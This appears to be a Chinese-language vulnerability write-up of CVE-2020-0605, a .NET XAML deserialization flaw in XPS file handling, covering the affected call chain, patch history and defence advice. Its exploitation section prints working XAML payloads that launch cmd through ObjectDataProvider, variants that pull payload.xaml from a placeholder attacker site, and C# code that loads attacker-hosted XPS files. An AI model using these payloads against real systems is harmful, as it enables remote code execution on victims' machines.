CVE-2020-0605:.NET处理XPS文件时的命令执行
字数 942 2025-08-20 18:17:47

CVE-2020-0605:.NET处理XPS文件时的命令执行漏洞分析与利用

1. 漏洞概述

CVE-2020-0605是一个存在于.NET框架中处理XPS文件时的反序列化漏洞,攻击者可以通过构造恶意的XPS文件实现远程代码执行。该漏洞影响所有使用.NET处理XPS文件的业务场景。

2. 背景知识

2.1 XPS文件格式

XPS (XML Paper Specification)是微软开发的文档格式,作为PDF的替代品:

  • 本质是一个压缩包,包含多种文件类型
  • 包含图像、字体和XML文档
  • .NET使用XAML来序列化处理XPS文件中的XML文件

2.2 典型XPS文件结构

File.xps\DiscardControl.xml
File.xps\FixedDocumentSequence.fdseq
File.xps\[Content_Types].xml
File.xps\Documents\1\FixedDocument.fdoc
File.xps\Documents\1\Pages\1.fpage
File.xps\Documents\1\Pages\_rels\1.fpage.rels
File.xps\Documents\1\_rels\FixedDocument.fdoc.rels
File.xps\Metadata\Job_PT-inqy3ql9shqm2dc_mcqr93k5g.xml
File.xps\Metadata\SharedEmpty_PT-cn4rss5oojtjhxzju9tpamz4f.xml
File.xps\Resources\Fonts\0D7703BF-30CA-4254-ABA0-1A8892E2A101.odttf
File.xps\Resources\Images\00F8CA61-B050-4B6A-AFEF-139AA015AC08.png
File.xps\_rels\.rels
File.xps\_rels\FixedDocumentSequence.fdseq.rels

3. 漏洞技术分析

3.1 漏洞根源

漏洞存在于System.Windows.Documents.XpsValidatingLoader内部类的Load()Validate()方法中,这些方法在处理恶意XAML指令时会调用XamlReader.Load()方法,导致代码执行。

3.2 受影响类调用链

System.Windows.Documents.XpsValidatingLoader (内部类)
    ├─ Load()方法
    │   ├─ 被PageContent类调用
    │   ├─ 被FixedDocument类调用
    │   └─ 被DocumentReference类调用
    └─ Validate()方法
        └─ 被FixedDocument类调用

3.3 漏洞利用条件

  • 应用程序使用.NET框架处理XPS文件
  • 不受XPS Viewer影响(因为它不调用.NET处理XPS文件)

4. 漏洞利用方法

4.1 通用利用Payload

ysoserial项目提供的通用利用代码:

<ResourceDictionary
    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
    xmlns:System="clr-namespace:System;assembly=mscorlib"
    xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
    <ObjectDataProvider x:Key="LaunchCalc"
        ObjectType="{x:Type Diag:Process}"
        MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <System:String>cmd</System:String>
            <System:String>/c calc</System:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>

4.2 利用场景示例

场景1:通过XpsDocument类加载

XpsDocument myDoc = new XpsDocument(@"http://[attackersite]/test.xps", FileAccess.Read);
var a = myDoc.GetFixedDocumentSequence();

场景2:通过打印队列加载

PrintQueue defaultPrintQueue = LocalPrintServer.GetDefaultPrintQueue();
PrintSystemJobInfo xpsPrintJob = defaultPrintQueue.AddJob("test", @"http://[attackersite]/test.xps", false);

4.3 具体利用方式

方式1:FixedDocument/FixedDocumentSequence + xaml引用

<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06">
    <PageContent Source="http://[attackersite]/payload.xaml" Height="1056" Width="816" />
</FixedDocument>

<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
    <DocumentReference Source="http://[attackersite]/payload.xaml" />
</FixedDocumentSequence>

方式2:利用FixedDocument/FixedDocumentSequence的Resources属性

<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06" 
    xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" 
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
    <FixedDocument.Resources>
        <ObjectDataProvider MethodName="Start" x:Key="">
            <ObjectDataProvider.ObjectInstance>
                <sd:Process>
                    <sd:Process.StartInfo>
                        <sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" />
                    </sd:Process.StartInfo>
                </sd:Process>
            </ObjectDataProvider.ObjectInstance>
        </ObjectDataProvider>
    </FixedDocument.Resources>
</FixedDocument>

<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
    xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" 
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
    <FixedDocumentSequence.Resources>
        <ObjectDataProvider MethodName="Start" x:Key="">
            <ObjectDataProvider.ObjectInstance>
                <sd:Process>
                    <sd:Process.StartInfo>
                        <sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" />
                    </sd:Process.StartInfo>
                </sd:Process>
            </ObjectDataProvider.ObjectInstance>
        </ObjectDataProvider>
    </FixedDocumentSequence.Resources>
</FixedDocumentSequence>

5. 补丁情况

  • 微软在2020年1月发布了初始补丁,但仅增加了对.fdseq格式文件的安全校验
  • 2020年5月发布了完善的补丁,彻底修复了该漏洞

6. 防御建议

  1. 及时安装微软发布的最新安全补丁
  2. 对处理XPS文件的应用程序进行输入验证
  3. 在不需要处理XPS文件的系统中禁用相关功能
  4. 使用应用程序白名单限制未知XPS文件的执行

7. 研究价值

该漏洞的利用思路可以用于开发其他XAML反序列化漏洞的利用链,为安全研究人员提供了有价值的参考。

CVE-2020-0605:.NET处理XPS文件时的命令执行漏洞分析与利用 1. 漏洞概述 CVE-2020-0605是一个存在于.NET框架中处理XPS文件时的反序列化漏洞,攻击者可以通过构造恶意的XPS文件实现远程代码执行。该漏洞影响所有使用.NET处理XPS文件的业务场景。 2. 背景知识 2.1 XPS文件格式 XPS (XML Paper Specification)是微软开发的文档格式,作为PDF的替代品: 本质是一个压缩包,包含多种文件类型 包含图像、字体和XML文档 .NET使用XAML来序列化处理XPS文件中的XML文件 2.2 典型XPS文件结构 3. 漏洞技术分析 3.1 漏洞根源 漏洞存在于 System.Windows.Documents.XpsValidatingLoader 内部类的 Load() 和 Validate() 方法中,这些方法在处理恶意XAML指令时会调用 XamlReader.Load() 方法,导致代码执行。 3.2 受影响类调用链 3.3 漏洞利用条件 应用程序使用.NET框架处理XPS文件 不受XPS Viewer影响(因为它不调用.NET处理XPS文件) 4. 漏洞利用方法 4.1 通用利用Payload ysoserial项目提供的通用利用代码: 4.2 利用场景示例 场景1:通过XpsDocument类加载 场景2:通过打印队列加载 4.3 具体利用方式 方式1:FixedDocument/FixedDocumentSequence + xaml引用 或 方式2:利用FixedDocument/FixedDocumentSequence的Resources属性 或 5. 补丁情况 微软在2020年1月发布了初始补丁,但仅增加了对.fdseq格式文件的安全校验 2020年5月发布了完善的补丁,彻底修复了该漏洞 6. 防御建议 及时安装微软发布的最新安全补丁 对处理XPS文件的应用程序进行输入验证 在不需要处理XPS文件的系统中禁用相关功能 使用应用程序白名单限制未知XPS文件的执行 7. 研究价值 该漏洞的利用思路可以用于开发其他XAML反序列化漏洞的利用链,为安全研究人员提供了有价值的参考。